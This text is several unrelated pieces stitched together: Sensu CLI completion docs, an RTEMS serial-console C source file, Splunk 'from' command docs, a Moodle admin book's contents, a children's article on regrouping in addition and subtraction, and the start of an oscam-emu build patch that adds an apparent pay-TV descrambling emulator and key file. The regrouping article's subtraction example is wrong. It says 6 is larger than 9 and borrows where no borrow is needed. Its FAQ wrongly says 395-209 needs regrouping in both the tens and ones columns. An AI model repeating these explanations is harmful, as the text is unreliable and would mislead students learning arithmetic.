Make sure bash completion is installed. If you use a current Linux in a non-minimal installation, bash completion should be available. On macOS, install with:
brew install bash-completion
Then add the following to your ~/.bash_profile:
if [ -f $(brew --prefix)/etc/bash_completion ]; then
. $(brew --prefix)/etc/bash_completion
fi
Once bash-completion is available, add the following to your ~/.bash_profile:
source <(sensuctl completion bash)
You can now source your ~/.bash_profile or launch a new terminal to utilize completion.
source ~/.bash_profile
Installation (ZSH)
Add the following to your ~/.zshrc:
source <(sensuctl completion zsh)
You can now source your ~/.zshrc or launch a new terminal to utilize completion.
source ~/.zshrc
Usage
sensuctl Tab
check configure event user
asset completion entity handler
sensuctl check Tab
create delete import list
Configuration files
During configuration, sensuctl creates configuration files that contain information for connecting to your Sensu Go deployment. You can find them at $HOME/.config/sensu/sensuctl/profile and $HOME/.config/sensu/sensuctl/profile. For example:
cat .config/sensu/sensuctl/profile
{
"format": "tabular",
"namespace": "demo"
}
cat .config/sensu/sensuctl/cluster
{
"api-url": "http://localhost:8080",
"trusted-ca-file": "",
"insecure-skip-tls-verify": false,
"access_token": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"expires_at": 1550082282,
"refresh_token": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
}
These are useful if you want to know what cluster you’re connecting to, or what namespace you’re currently configured to use. | __label__pos | 0.646305 |
source: rtems/c/src/lib/libbsp/shared/console.c @ 1c6926c1
Last change on this file since 1c6926c1 was 1c6926c1, checked in by Kevin Kirspel <kevin-kirspel@…>, on Mar 21, 2017 at 7:39:48 PM
termios: Synchronize with latest FreeBSD headers
Adding modified FreeBSD headers to synchronize RTEMS termios with
FreeBSD. Modify termios to support dedicated input and output baud for
termios structure. Updated BSPs to use dedicated input and output baud
in termios structure. Updated tools to use dedicated input and output
baud in termios structure. Updated termios testsuites to use dedicated
input and output baud in termios structure.
Close #2897.
• Property mode set to 100644
File size: 9.6 KB
Line
1/**
2 * @file
3 *
4 * @ingroup Console
5 *
6 * @brief Extension of the generic libchip console driver shell
7 */
8
9/*
10 * COPYRIGHT (c) 1989-2011, 2016.
11 * On-Line Applications Research Corporation (OAR).
12 *
13 * The license and distribution terms for this file may be
14 * found in the file LICENSE in this distribution or at
15 * http://www.rtems.org/license/LICENSE.
16 */
17
18#include <bsp.h>
19#include <bsp/fatal.h>
20#include <rtems/libio.h>
21#include <rtems/console.h>
22#include <stdlib.h>
23#include <assert.h>
24#include <termios.h>
25
26#include <rtems/termiostypes.h>
27#include <libchip/serial.h>
28#include "console_private.h"
29
30unsigned long Console_Port_Count = 0;
31console_tbl **Console_Port_Tbl = NULL;
32console_data *Console_Port_Data = NULL;
33rtems_device_minor_number Console_Port_Minor = 0;
34static bool console_initialized = false;
35
36/*
37 * console_find_console_entry
38 *
39 * This method is used to search the console entries for a
40 * specific device entry.
41 */
42console_tbl* console_find_console_entry(
43 const char *match,
44 size_t length,
45 rtems_device_minor_number *match_minor
46)
47{
48 rtems_device_minor_number minor;
49
50 /*
51 * The the match name is NULL get the minor number entry.
52 */
53 if (match == NULL) {
54 if (*match_minor < Console_Port_Count)
55 return Console_Port_Tbl[*match_minor];
56 return NULL;
57 }
58
59 for (minor=0; minor < Console_Port_Count ; minor++) {
60 console_tbl *cptr = Console_Port_Tbl[minor];
61
62 /*
63 * Console table entries include /dev/ prefix, device names passed
64 * in on command line do not.
65 */
66 if ( !strncmp( cptr->sDeviceName, match, length ) ) {
67 *match_minor = minor;
68 return cptr;
69 }
70 }
71
72 return NULL;
73}
74
75/*
76 * console_initialize_data
77 *
78 * This method is used to initialize the table of pointers to the
79 * serial port configuration structure entries.
80 */
81void console_initialize_data(void)
82{
83 int i;
84
85 if ( Console_Port_Tbl )
86 return;
87
88 /*
89 * Allocate memory for the table of device pointers.
90 */
91 Console_Port_Count = Console_Configuration_Count;
92 Console_Port_Tbl = malloc( Console_Port_Count * sizeof( console_tbl * ) );
93 if (Console_Port_Tbl == NULL)
94 bsp_fatal( BSP_FATAL_CONSOLE_NO_MEMORY_0 );
95
96 /*
97 * Allocate memory for the table of device specific data pointers.
98 */
99 Console_Port_Data = calloc( Console_Port_Count, sizeof( console_data ) );
100 if ( Console_Port_Data == NULL ) {
101 bsp_fatal( BSP_FATAL_CONSOLE_NO_MEMORY_3 );
102 }
103
104 /*
105 * Fill in the Console Table
106 */
107 for (i=0 ; i < Console_Port_Count ; i++) {
108 Console_Port_Tbl[i] = &Console_Configuration_Ports[i];
109 }
110}
111
112/*
113 * console_register_devices
114 *
115 * This method is used to add dynamically discovered devices to the
116 * set of serial ports supported.
117 */
118void console_register_devices(
119 console_tbl *new_ports,
120 size_t number_of_ports
121)
122{
123 int old_number_of_ports;
124 int i;
125
126 /*
127 * Initialize the console data elements
128 */
129 console_initialize_data();
130
131 /*
132 * console_initialize() has been invoked so it is now too late to
133 * register devices.
134 */
135 if ( console_initialized ) {
136 bsp_fatal( BSP_FATAL_CONSOLE_MULTI_INIT );
137 }
138
139 /*
140 * Allocate memory for the console port extension
141 */
142 old_number_of_ports = Console_Port_Count;
143 Console_Port_Count += number_of_ports;
144 Console_Port_Tbl = realloc(
145 Console_Port_Tbl,
146 Console_Port_Count * sizeof(console_tbl *)
147 );
148 if ( Console_Port_Tbl == NULL ) {
149 bsp_fatal( BSP_FATAL_CONSOLE_NO_MEMORY_1 );
150 }
151
152 /*
153 * Since we can only add devices before console_initialize(),
154 * the data area will contain no information and must be zero
155 * before it is used. So extend the area and zero it out.
156 */
157 Console_Port_Data = realloc(
158 Console_Port_Data,
159 Console_Port_Count * sizeof(console_data)
160 );
161 if ( Console_Port_Data == NULL ) {
162 bsp_fatal( BSP_FATAL_CONSOLE_NO_MEMORY_2 );
163 }
164 memset(Console_Port_Data, '\0', Console_Port_Count * sizeof(console_data));
165
166 /*
167 * Now add the new devices at the end.
168 */
169 for (i=0 ; i < number_of_ports ; i++) {
170 Console_Port_Tbl[old_number_of_ports + i] = &new_ports[i];
171 }
172}
173
174/*
175 * console_open
176 *
177 * open a port as a termios console.
178 */
179rtems_device_driver console_open(
180 rtems_device_major_number major,
181 rtems_device_minor_number minor,
182 void * arg
183)
184{
185 rtems_status_code status;
186 rtems_libio_open_close_args_t *args = arg;
187 rtems_libio_ioctl_args_t IoctlArgs;
188 struct termios Termios;
189 rtems_termios_callbacks Callbacks;
190 console_tbl *cptr;
191 struct rtems_termios_tty *current_tty;
192
193 /*
194 * Verify the port number is valid.
195 */
196 if ( minor > Console_Port_Count ) {
197 return RTEMS_INVALID_NUMBER;
198 }
199
200 /*
201 * Open the port as a termios console driver.
202 */
203
204 cptr = Console_Port_Tbl[minor];
205 Callbacks.firstOpen = cptr->pDeviceFns->deviceFirstOpen;
206 Callbacks.lastClose = cptr->pDeviceFns->deviceLastClose;
207 Callbacks.pollRead = cptr->pDeviceFns->deviceRead;
208 Callbacks.write = cptr->pDeviceFns->deviceWrite;
209 Callbacks.setAttributes = cptr->pDeviceFns->deviceSetAttributes;
210 if (cptr->pDeviceFlow != NULL) {
211 Callbacks.stopRemoteTx = cptr->pDeviceFlow->deviceStopRemoteTx;
212 Callbacks.startRemoteTx = cptr->pDeviceFlow->deviceStartRemoteTx;
213 } else {
214 Callbacks.stopRemoteTx = NULL;
215 Callbacks.startRemoteTx = NULL;
216 }
217 Callbacks.outputUsesInterrupts = cptr->pDeviceFns->deviceOutputUsesInterrupts;
218
219 /* XXX what about
220 * Console_Port_Tbl[minor].ulMargin,
221 * Console_Port_Tbl[minor].ulHysteresis);
222 */
223
224 status = rtems_termios_open( major, minor, arg, &Callbacks );
225 Console_Port_Data[minor].termios_data = args->iop->data1;
226
227 /* Get tty pointur from the Console_Port_Data */
228 current_tty = Console_Port_Data[minor].termios_data;
229
230 if ( (current_tty->refcount == 1) ) {
231
232 /*
233 * If this BSP has a preferred default rate, then use that.
234 */
235 #if defined(BSP_DEFAULT_BAUD_RATE)
236 rtems_termios_set_initial_baud( current_tty, BSP_DEFAULT_BAUD_RATE );
237 #endif
238
239 /*
240 * If it's the first open, modified, if need, the port parameters
241 */
242 if ( minor != Console_Port_Minor ) {
243 /*
244 * If this is not the console we do not want ECHO and so forth
245 */
246 IoctlArgs.iop = args->iop;
247 IoctlArgs.command = TIOCGETA;
248 IoctlArgs.buffer = &Termios;
249 rtems_termios_ioctl( &IoctlArgs );
250
251 Termios.c_lflag = ICANON;
252 IoctlArgs.command = TIOCSETA;
253 rtems_termios_ioctl( &IoctlArgs );
254 }
255 }
256
257 if ( (args->iop->flags&LIBIO_FLAGS_READ) &&
258 cptr->pDeviceFlow &&
259 cptr->pDeviceFlow->deviceStartRemoteTx) {
260 cptr->pDeviceFlow->deviceStartRemoteTx(minor);
261 }
262
263 return status;
264}
265
266/*
267 * console_close
268 *
269 * This routine closes a port that has been opened as console.
270 */
271rtems_device_driver console_close(
272 rtems_device_major_number major,
273 rtems_device_minor_number minor,
274 void * arg
275)
276{
277 rtems_libio_open_close_args_t *args = arg;
278 struct rtems_termios_tty *current_tty;
279 console_tbl *cptr;
280
281 cptr = Console_Port_Tbl[minor];
282
283 /* Get tty pointer from the Console_Port_Data */
284 current_tty = Console_Port_Data[minor].termios_data;
285
286 /* Get the tty refcount to determine if we need to do deviceStopRemoteTx.
287 * Stop only if it's the last one opened.
288 */
289 if ( (current_tty->refcount == 1) ) {
290 if ( (args->iop->flags&LIBIO_FLAGS_READ) &&
291 cptr->pDeviceFlow &&
292 cptr->pDeviceFlow->deviceStopRemoteTx) {
293 cptr->pDeviceFlow->deviceStopRemoteTx(minor);
294 }
295 }
296
297 return rtems_termios_close (arg);
298}
299
300/*
301 * console_initialize
302 *
303 * Routine called to initialize the console device driver.
304 */
305rtems_device_driver console_initialize(
306 rtems_device_major_number major,
307 rtems_device_minor_number minor_arg,
308 void *arg
309)
310{
311 rtems_status_code status;
312 rtems_device_minor_number minor;
313 console_tbl *port;
314
315 /*
316 * If we have no devices which were registered earlier then we
317 * must still initialize pointers for Console_Port_Tbl and
318 * Console_Port_Data.
319 */
320 console_initialize_data();
321
322 /*
323 * console_initialize has been invoked so it is now too late to
324 * register devices.
325 */
326 console_initialized = true;
327
328 /*
329 * Initialize the termio interface, our table of pointers to device
330 * information structures, and determine if the user has explicitly
331 * specified which device is to be used for the console.
332 */
333 rtems_termios_initialize();
334 bsp_console_select();
335
336 /*
337 * Iterate over all of the console devices we know about
338 * and initialize them.
339 */
340 for (minor=0 ; minor < Console_Port_Count ; minor++) {
341 /*
342 * First perform the configuration dependent probe, then the
343 * device dependent probe
344 */
345 port = Console_Port_Tbl[minor];
346
347 if ( (!port->deviceProbe || port->deviceProbe(minor)) &&
348 port->pDeviceFns->deviceProbe(minor)) {
349
350 if (port->sDeviceName != NULL) {
351 status = rtems_io_register_name( port->sDeviceName, major, minor );
352 if (status != RTEMS_SUCCESSFUL) {
353 bsp_fatal( BSP_FATAL_CONSOLE_REGISTER_DEV_0 );
354 }
355 }
356
357 if (minor == Console_Port_Minor) {
358 status = rtems_io_register_name( CONSOLE_DEVICE_NAME, major, minor );
359 if (status != RTEMS_SUCCESSFUL) {
360 bsp_fatal( BSP_FATAL_CONSOLE_REGISTER_DEV_1 );
361 }
362 }
363
364 /*
365 * Initialize the hardware device.
366 */
367 port->pDeviceFns->deviceInitialize(minor);
368
369 }
370 }
371
372 return RTEMS_SUCCESSFUL;
373}
Note: See TracBrowser for help on using the repository browser. | __label__pos | 0.999089 |
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from
Description
The from command retrieves data from a dataset, such as a data model dataset, a CSV lookup, a KV Store lookup, a saved search, or a table dataset.
Design a search that uses the from command to reference a dataset. Optionally add additional SPL such as lookups, eval expressions, and transforming commands to the search Save the result as a report, alert, or dashboard panel. If you use Splunk Cloud, or use Splunk Enterprise and have installed the Splunk Datasets Add-on, you can also save the search as a table dataset.
See the Usage section.
Syntax
| from <dataset_type>:<dataset_name>
Required arguments
<dataset_type>
Syntax: <dataset_type>
Description: The type of dataset. Valid values are: datamodel, inputlookup, and savedsearch.
The datamodel dataset type can be either a data model dataset or a table dataset. You create data model datasets with the Data Model Editor. You can create table datasets with the Table Editor if you use Splunk Cloud or use Splunk Enterprise and have installed the Splunk Datasets Add-on.
The inputlookup dataset type can be either a CSV lookup or a KV Store lookup.
The savedsearch dataset type is a saved search. You can use from to reference any saved search as a dataset.
See About datasets in the Knowledge Manager Manual.
<dataset_name>
Syntax: <dataset_name>
Description: The name of the dataset that you want to retrieve data from. If the dataset_type is a data model, the syntax is <datamodel_name>.<dataset_name>. If the name of the dataset contains spaces, enclose the dataset name in quotation marks.
Example: If the data model name is internal_server, and the dataset name is splunkdaccess, specify internal_server.splunkdaccess for the dataset_name.
In older versions of the Splunk software, the term "data model object" was used. That term has been replaced with "data model dataset".
Optional arguments
None.
Usage
When you use the from command, you must reference an existing dataset. You can reference any dataset listed in the Datasets listing page (data model datasets, CSV lookup files, CSV lookup definitions, and table datasets). You can also reference saved searches and KV Store lookup definitions. See View and manage datasets in the Knowledge Manager Manual.
When you create a report, alert, dashboard panel, or table dataset that is based on a from search that references a dataset, that knowledge object has a dependency on the referenced dataset. This is dataset extension. When you make a change to the original dataset, such as removing or adding fields, that change propagates down to the reports, alerts, dashboard panels, and tables that have been extended from that original dataset. See Dataset extension in the Knowledge Manager Manual.
The from command is a generating command, and should be the first command in the search. Generating commands use a leading pipe character.
However, you can use the from command inside the append command.
Examples
1. Search a data model
Search a data model that contains internal server log events for REST API calls. In this example, internal_server is the data model name and splunkdaccess is the dataset inside the internal_server data model.
| from datamodel:internal_server.splunkdaccess
2. Search a lookup file
Search a lookup file that contains geographic attributes for each country, such as continent, two-letter ISO code, and subregion.
| from inputlookup:geo_attr_countries.csv
3. Retrieve data by using a lookup file
Search the contents of the KV store collection kvstorecoll that have a CustID value greater than 500 and a CustName value that begins with the letter P. The collection is referenced in a lookup table called kvstorecoll_lookup. Using the stats command, provide a count of the events received from the table.
| from inputlookup:kvstorecoll_lookup | where (CustID>500) AND (CustName="P*") | stats count
4. Retrieve data using a saved search
Retrieve the timestamp and client IP from the saved search called mysecurityquery.
| from savedsearch:mysecurityquery | fields _time clientip ...
5. Specify a dataset name that contains spaces
When the name of a dataset includes spaces, enclose the dataset name in quotation marks.
| from savedsearch:"Top five sourcetypes"
See also
inputlookup, datamodel
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This documentation applies to the following versions of Splunk® Enterprise: 6.5.0, 6.5.1, 6.5.1612 (Splunk Cloud only), 6.5.2, 6.5.3, 6.5.4, 6.5.5, 6.5.6, 6.5.7, 6.5.8, 6.5.9, 6.6.0, 6.6.1, 6.6.2, 6.6.3, 6.6.4, 6.6.5, 6.6.6, 6.6.7, 6.6.8, 7.0.0, 7.0.1, 7.0.2, 7.0.3, 7.0.4, 7.1.0, 7.1.1
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Moodle Administration Essentials
Book Description
Learn how to set up, maintain, and support your Moodle site efficiently
In Detail
This book begins with a brief look at Moodle's background and an examination of its architectural structure and LAMP architecture.
You'll learn to create user accounts and understand the methods of authentication based on manual accounts and e-mail-based self-registrations. You'll then develop the Moodle site structure and course set up, and discover how to edit it through a sample faculty site. Next, you'll configure two of the standard themes in Moodle and apply them to organizational branding. You'll also explore how plugins are configured and installed, and learn about backing up, resetting, and restoring Moodle courses.
Finally, you'll learn Moodle's security options, along with performance testing, and how to use the built-in Moodle performance testing script.
What You Will Learn
• Manage user accounts, authenticate users, and control user permissions with roles
• Enhance your Moodle site with plugins such as activity modules, admin reports, admin tools, and more
• Brand your Moodle site with configured themes
• Set up the structure of your site using categories in Moodle
• Prepare your site for end-of-year rollover
• Install Moodle on a Linux Server
• Monitor the usage and performance of your Moodle site
• Downloading the example code for this book. You can download the example code files for all Packt books you have purchased from your account at http://www.PacktPub.com. If you purchased this book elsewhere, you can visit http://www.PacktPub.com/support and register to have the files e-mailed directly to you.
Table of Contents
1. Moodle Administration Essentials
1. Table of Contents
2. Moodle Administration Essentials
3. Credits
4. About the Authors
5. About the Reviewers
6. www.PacktPub.com
1. Support files, eBooks, discount offers, and more
1. Why subscribe?
2. Free access for Packt account holders
7. Preface
1. What this book covers
2. What you need for this book
3. Who this book is for
4. Conventions
5. Reader feedback
6. Customer support
1. Errata
2. Piracy
3. Questions
8. 1. Moodle in a Nutshell
1. Background of Moodle
2. Architecture of Moodle
3. Installing Moodle
1. Server specifications
1. Hardware
2. Software
2. Code specifications
1. Moodle download
2. File permissions
3. Database setup
4. Moodledata directory setup
5. Moodle installer
6. Essential configurations
1. Email settings
2. System paths
3. Cron
4. Updating Moodle
1. Upgrading from one version to another
1. Cloning your Moodle site
2. Upgrade preparation
3. Moodle code directory
4. Moodle data directory
5. Moodle database
6. Moodle download
2. Maintaining the version code
3. When to update
5. Summary
9. 2. Managing User Accounts and Authentication
1. Creating users
2. Editing a user
1. Searching for a user account
2. Editing the user account
3. Uploading users
1. Preparing the spreadsheet
2. Uploading the spreadsheet
4. User authentication
1. Authentication types
2. How to enable authentication plugins
3. Authentication configuration for a single user creation
4. Authentication configuration for the CSV file user upload
5. Manual authentication
1. The optional configuration
6. Email-based self-registration authentication
1. The optional configuration
5. Summary
10. 3. Managing Categories and Courses
1. Category creation
2. Course and category management
3. Course creation
4. Uploading courses
1. Preparing the spreadsheet
2. Uploading the spreadsheet
5. Course templates
1. Restore a course
2. Clone a course
6. Summary
11. 4. Managing Site Appearance
1. Configuring the landing page
2. Configuring the front page
3. Global theme settings
4. Introducing the Clean theme
1. Configuring the Clean theme
5. Introducing the More theme
1. Configuring the More theme
6. Cloning a theme
7. Summary
12. 5. Role Management
1. Understanding terminologies
2. Standard roles
3. Managing role permissions
1. Cloning a role
2. Creating a new role
3. Creating a course requester role
4. Applying a role override for a specific context
5. Testing a role
6. Manually adding a user to a course
7. Enabling self-enrolment for a course
4. Other custom roles
5. Summary
13. 6. Managing Site Plugins
1. What are plugins?
2. Where to find plugins
3. Considerations when choosing a plugin
4. Installing plugins
1. Manually installing a plugin ZIP file
2. Installing a plugin from the Moodle plugins directory
3. Installing a plugin from a source control URL
5. Editing plugin settings
6. Updating plugins
7. Uninstalling plugins
8. Summary
14. 7. End of Year Course Rollover
1. Rollover implementation
1. Backup of the entire Moodle site
2. Duplication of courses in the same Moodle after backups
3. Resetting courses after a backup
4. Selecting the right approach
2. Course backup
1. Teacher permissions in course backup
2. Course creator permissions in course backup
3. Administrator permissions in course backup
4. Making a backup of a course
5. Setting up automated course backups
3. Course restore
1. Teacher permissions in course restore
2. Course creator permissions in course restore
3. Administrator permissions in course restore
4. Restoring a course
4. Course reset
5. Summary
15. 8. Miscellaneous Admin Tasks
1. Monitoring Moodle usage
1. Statistics
2. Reports
1. Comments
2. Backups
3. Config changes
4. Course overview
5. Events list
6. Logs
7. Live logs
8. Performance overview
9. Question instances
10. Security overview
11. Statistics
12. Event monitoring rules
13. Spam cleaner
2. Performance testing
1. JMeter
2. Performance comparison
3. Security and resilience
1. Security
2. IP Blocker
3. Site policies
4. HTTP security
5. Notifications
6. Anti-Virus
7. Security overview report
4. General considerations
1. Force users to log in
2. Disable log in as a guest
3. Enable timezones
4. Enable cron
5. Debug messages
6. Purge all caches
7. Enhancing the My Home page or Dashboard
8. Language customization
9. Enabling site administrators
10. Enabling maintenance mode
11. Support contact details
12. Administration search box
5. Summary
16. Index | __label__pos | 0.999992 |
In the realm of mathematics, regrouping is a fundamental concept that plays a crucial role in performing operations such as addition and subtraction with multi-digit numbers. It is a strategy that allows us to manipulate numbers effectively and arrive at accurate results. In this article, we will delve into the meaning of regrouping, explore its applications, and provide step-by-step explanations along with relevant examples. So let’s embark on this mathematical journey and unlock the secrets of regrouping!
Understanding Regrouping in Math
Regrouping, also known as “carrying” or “borrowing,” involves rearranging digits within numbers when performing mathematical operations. It mainly comes into play when dealing with numbers that have more than one digit. The primary purpose of regrouping is to ensure accurate computations and maintain the place value system.
Regrouping in Addition
When adding multi-digit numbers, regrouping occurs when the sum of digits in a specific place value column exceeds nine. Let’s understand this concept with an example:
Example 1: Consider the addition problem: 58 + 47. Here’s how regrouping helps us solve it:
58
+ 47
-------
105
To solve this problem, we start by adding the digits in the ones column: 8 + 7 equals 15. Since 15 is greater than nine, we regroup the ten’s value by carrying the digit 1 to the tens column. The remaining value, 5, stays in the ones column. Then, we add the digits in the tens column, including the carried value, which gives us 5 + 4 + 1, equaling 10. Finally, we write down the resulting sum, 105.
Regrouping in Subtraction
In subtraction, regrouping comes into play when the digit being subtracted is larger than the corresponding digit in the minuend. Let’s consider an example:
Example 2: Let’s subtract 364 from 598. Regrouping is necessary in this scenario:
598
- 364
-------
234
Starting from the ones column, we subtract 4 from 8, which gives us 4. In the tens column, we need to subtract 6 from 9. However, since 6 is larger than 9, we need to regroup. We borrow 1 from the hundreds column and increase the value of the tens column by 10, making it 19. Now, we subtract 6 from 19, resulting in 13. Finally, we subtract 3 from 5 in the hundreds column, giving us 2. Thus, the difference between 598 and 364 is 234.
Teaching Regrouping in Math: A Step-by-Step Approach
To ensure a thorough understanding of regrouping among students, it is crucial to follow a step-by-step teaching approach. Let’s explore three essential steps to help students grasp this concept effectively.
Step 1: Introduce Manipulatives and Hands-on Experience
To provide students with a concrete understanding of regrouping, begin by using manipulatives such as base-10 blocks or Montessori decimal system beads. These physical objects help students visualize the concept of tens, units, hundreds, and thousands. By engaging in hands-on activities, students can count and exchange units for tens or vice versa, gaining a tangible sense of regrouping.
Step 2: Utilize Visual Representations
Once students have experienced regrouping through manipulatives, introduce visual representations to aid their understanding. Visuals can include diagrams, charts, or drawings that illustrate the regrouping process. Online math programs like Happy Numbers offer interactive problems with visual cues to reinforce the concept. Visuals bridge the gap between the use of manipulatives and the eventual transition to pencil-and-paper calculations.
Step 3: Progress to Traditional Methods
After students have gained proficiency with manipulatives and visual representations, gradually introduce them to traditional pencil-and-paper methods of performing regrouping operations. Emphasize the importance of place value and guide them through the step-by-step procedures. Practice problems with varying difficulty levels will help solidify their understanding and enhance their computational skills.
Importance of Regrouping in Real-Life Situations
Regrouping is not limited to mathematical exercises; its applications extend beyond the classroom into real-life situations. Let’s explore a few instances where regrouping is relevant:
Financial Transactions
Regrouping becomes essential when handling monetary transactions involving large sums of money. For instance, when calculating the total cost of groceries, if the units exceed nine, regrouping is necessary to accurately determine the total amount.
Time Management
Regrouping plays a role in time management as well. When scheduling appointments or allocating time for various activities, regrouping can help ensure efficient utilization of time slots and effective time management.
Data Analysis
In fields such as statistics, regrouping aids in organizing and analyzing data. Grouping data into categories or intervals allows for better visualization and comprehension of information.
Conclusion
Regrouping is a fundamental concept in mathematics that enables us to perform accurate calculations, understand place value, and solve complex problems. By following a systematic teaching approach and providing students with manipulatives, visuals, and practice opportunities, we can help them develop a deep conceptual understanding of regrouping. The applications of regrouping extend beyond the math classroom, enhancing financial literacy, time management, and data analysis skills. So, embrace the power of regrouping and unlock the potential for mathematical success!
FAQ
What are some common examples of regrouping in math?
ne common example of regrouping in math is when adding two-digit numbers, such as 48 + 37. Here, regrouping occurs when adding the ones column because 8 + 7 equals 15, which is greater than 9. So, we regroup the 10s by carrying over the value to the 10s column and write down the units.
Another example is in subtraction, where regrouping is necessary when subtracting numbers with larger digits in the same place value. For instance, subtracting 209 from 395 requires regrouping in both the tens and ones columns.
Are there different methods of regrouping in math?
Yes, there are different methods of regrouping in math. The most commonly used methods are the traditional method, which involves carrying or borrowing digits when performing addition or subtraction, and the expanded form method, where numbers are expanded into their place value components and regrouping is done based on the values of the digits.
How can regrouping be applied to addition and subtraction problems?
Regrouping is applied in addition when the sum of digits in a column is greater than 9. In such cases, we carry the excess value to the next higher place value column. For subtraction, regrouping is required when the digit being subtracted is larger than the corresponding digit in the minuend. We borrow from the higher place value column to adjust the value and ensure accurate subtraction.
How does regrouping relate to place value in mathematics?
Regrouping is closely tied to the concept of place value in mathematics. It involves rearranging or exchanging digits within numbers to maintain the value of each digit based on its position or place value. By regrouping, we ensure that the value of each digit is correctly represented within the number, thereby preserving the place value system.
Are there any online resources or apps for practicing regrouping in math?
Yes, there are several online resources and apps available for practicing regrouping in math. Some popular options include educational websites like Khan Academy, MathPlayground, and SplashLearn, which offer interactive games, worksheets, and tutorials specifically designed to help students practice regrouping. Additionally, educational math apps such as Happy Numbers and Mathletics also provide regrouping practice modules to enhance learning and understanding.
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Project
General
Profile
oscam-emu.11384.patch
Joe User, 2017-06-15 00:51
View differences:
CMakeLists.txt (working copy)
101 101
${CMAKE_CURRENT_SOURCE_DIR}/csctapi
102 102
${CMAKE_CURRENT_SOURCE_DIR}/cscrypt
103 103
${CMAKE_CURRENT_SOURCE_DIR}/minilzo
104
${CMAKE_CURRENT_SOURCE_DIR}/ffdecsa
104 105
${CMAKE_CURRENT_SOURCE_DIR}/extapi/cygwin
105 106
/usr/include/w32api
106 107
${OPTIONAL_INCLUDE_DIR}
......
110 111
${CMAKE_CURRENT_SOURCE_DIR}/csctapi
111 112
${CMAKE_CURRENT_SOURCE_DIR}/cscrypt
112 113
${CMAKE_CURRENT_SOURCE_DIR}/minilzo
114
${CMAKE_CURRENT_SOURCE_DIR}/ffdecsa
113 115
${OPTIONAL_INCLUDE_DIR}
114 116
)
115 117
endif (OSCamOperatingSystem MATCHES "Windows/Cygwin")
......
420 422
# Manage config.h based on command line parameters
421 423
# Manipulate config file based on given parameters and read unset parameters
422 424
425
execute_process (COMMAND ${CMAKE_CURRENT_SOURCE_DIR}/config.sh --enabled WITH_EMU OUTPUT_VARIABLE CONFIG_WITH_EMU OUTPUT_STRIP_TRAILING_WHITESPACE)
426
if (CONFIG_WITH_EMU MATCHES "Y" AND NOT WITH_EMU EQUAL 1)
427
add_definitions ("-DWITH_EMU")
428
set (WITH_EMU "1")
429
message(STATUS " EMU is added by config compiling with EMU")
430
endif(CONFIG_WITH_EMU MATCHES "Y" AND NOT WITH_EMU EQUAL 1)
431
423 432
execute_process (COMMAND ${CMAKE_CURRENT_SOURCE_DIR}/config.sh --show-valid OUTPUT_VARIABLE config_vars_string OUTPUT_STRIP_TRAILING_WHITESPACE)
424 433
string(REGEX MATCHALL "[A-Z0-9_]+" config_vars ${config_vars_string})
425 434
......
449 458
add_subdirectory (csctapi)
450 459
add_subdirectory (minilzo)
451 460
add_subdirectory (cscrypt)
461
add_subdirectory (ffdecsa)
452 462
453 463
#----------------------- file groups ------------------------------
454 464
execute_process (COMMAND ${CMAKE_CURRENT_SOURCE_DIR}/config.sh --enabled MODULE_CAMD33 OUTPUT_VARIABLE CAMD33 OUTPUT_STRIP_TRAILING_WHITESPACE)
......
498 508
499 509
set (exe_name "oscam")
500 510
add_executable (${exe_name} ${exe_srcs} ${exe_hdrs})
501
target_link_libraries (${exe_name} ${csoscam} ${csmodules} ${csreaders} csctapi cscrypt minilzo)
511
target_link_libraries (${exe_name} ${csoscam} ${csmodules} ${csreaders} csctapi cscrypt minilzo ffdecsa)
502 512
if(HAVE_LIBRT AND HAVE_LIBUSB)
503 513
if (LIBUSBDIR)
504 514
set (libusb_link "imp_libusb")
......
647 657
execute_process(COMMAND ${CMAKE_C_COMPILER} -dumpmachine COMMAND tr -d '\n' OUTPUT_VARIABLE CS_TARGET)
648 658
add_definitions ("-D'CS_TARGET=\"${CS_TARGET}\"'")
649 659
#----------------------- global compile and link options ------------------------------
660
#enable sse2 on x86
661
if (CMAKE_SYSTEM_PROCESSOR MATCHES "(x86)|(X86)|(amd64)|(AMD64)")
662
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -msse -msse2 -msse3")
663
endif (CMAKE_SYSTEM_PROCESSOR MATCHES "(x86)|(X86)|(amd64)|(AMD64)")
664
650 665
# disable warning about unused but set variables in gcc 4.6+
651 666
if (CMAKE_COMPILER_IS_GNUCC)
652 667
execute_process(COMMAND ${CMAKE_C_COMPILER} -dumpversion OUTPUT_VARIABLE GCC_VERSION)
......
731 746
732 747
#--------------------------------------------------------------------------------
733 748
749
if (NOT OSCamOperatingSystem MATCHES "Mac OS X")
750
if (NOT DEFINED ENV{ANDROID_NDK})
751
if (NOT DEFINED ENV{ANDROID_STANDALONE_TOOLCHAIN})
752
if(WITH_EMU)
753
if(EXISTS ${CMAKE_CURRENT_SOURCE_DIR}/SoftCam.Key)
754
execute_process(COMMAND cp ${CMAKE_CURRENT_SOURCE_DIR}/SoftCam.Key ${CMAKE_CURRENT_BINARY_DIR}/SoftCam.Key)
755
else(EXISTS ${CMAKE_CURRENT_SOURCE_DIR}/SoftCam.Key)
756
execute_process(COMMAND touch ${CMAKE_CURRENT_BINARY_DIR}/SoftCam.Key)
757
endif(EXISTS ${CMAKE_CURRENT_SOURCE_DIR}/SoftCam.Key)
758
execute_process(COMMAND touch ${CMAKE_CURRENT_BINARY_DIR}/utils/SoftCam.Key)
759
set (CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -Wl,--format=binary -Wl,SoftCam.Key -Wl,--format=default" )
760
endif(WITH_EMU)
761
endif (NOT DEFINED ENV{ANDROID_STANDALONE_TOOLCHAIN})
762
endif (NOT DEFINED ENV{ANDROID_NDK})
763
endif (NOT OSCamOperatingSystem MATCHES "Mac OS X")
764
734 765
#----------------------- installation -----------------------------
735 766
736 767
file (GLOB config_files "${CMAKE_CURRENT_SOURCE_DIR}/Distribution/oscam.*")
......
819 850
endif(STATICLIBUSB AND NOT LIBUSBDIR)
820 851
endif (HAVE_LIBUSB)
821 852
853
if (WITH_EMU)
854
message(STATUS " Compile with EMU support")
855
endif (WITH_EMU)
856
822 857
message (STATUS "")
Makefile (working copy)
65 65
66 66
LDFLAGS = -Wl,--gc-sections
67 67
68
TARGETHELP := $(shell $(CC) --target-help 2>&1)
69
ifneq (,$(findstring sse2,$(TARGETHELP)))
70
override CFLAGS += -fexpensive-optimizations -mmmx -msse -msse2 -msse3
71
else
72
override CFLAGS += -fexpensive-optimizations
73
endif
74
